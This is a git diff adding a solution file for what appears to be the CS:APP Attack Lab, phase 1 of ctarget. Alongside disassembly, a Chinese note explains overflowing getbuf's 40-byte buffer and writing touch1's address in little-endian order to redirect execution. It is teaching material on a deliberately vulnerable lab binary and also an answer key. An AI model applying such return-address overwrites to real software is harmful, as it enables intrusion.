diff options
Diffstat (limited to 'attack/solution.md')
| -rw-r--r-- | attack/solution.md | 40 |
1 files changed, 40 insertions, 0 deletions
diff --git a/attack/solution.md b/attack/solution.md new file mode 100644 index 0000000..dc71b37 --- /dev/null +++ b/attack/solution.md @@ -0,0 +1,40 @@ +# CTARGET + +## Phase 1 + +```asm +00000000004017c0 <touch1>: + 4017c0: 48 83 ec 08 sub $0x8,%rsp + 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> + 4017cb: 00 00 00 + 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi + 4017d3: e8 e8 f4 ff ff call 400cc0 <puts@plt> + 4017d8: bf 01 00 00 00 mov $0x1,%edi + 4017dd: e8 ab 04 00 00 call 401c8d <validate> + 4017e2: bf 00 00 00 00 mov $0x0,%edi + 4017e7: e8 54 f6 ff ff call 400e40 <exit@plt> + +0000000000401968 <test>: + 401968: 48 83 ec 08 sub $0x8,%rsp + 40196c: b8 00 00 00 00 mov $0x0,%eax + 401971: e8 32 fe ff ff call 4017a8 <getbuf> + 401976: 89 c2 mov %eax,%edx + 401978: be 88 31 40 00 mov $0x403188,%esi + 40197d: bf 01 00 00 00 mov $0x1,%edi + 401982: b8 00 00 00 00 mov $0x0,%eax + 401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt> + 40198c: 48 83 c4 08 add $0x8,%rsp + 401990: c3 ret + +00000000004017a8 <getbuf>: + 4017a8: 48 83 ec 28 sub $0x28,%rsp + 4017ac: 48 89 e7 mov %rsp,%rdi + 4017af: e8 8c 02 00 00 call 401a40 <Gets> + 4017b4: b8 01 00 00 00 mov $0x1,%eax + 4017b9: 48 83 c4 28 add $0x28,%rsp + 4017bd: c3 ret +``` + +很明显，getbuf只有0x28就是40的缓冲区，那只要40个垃圾数据+返回地址就行了 + +NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00` |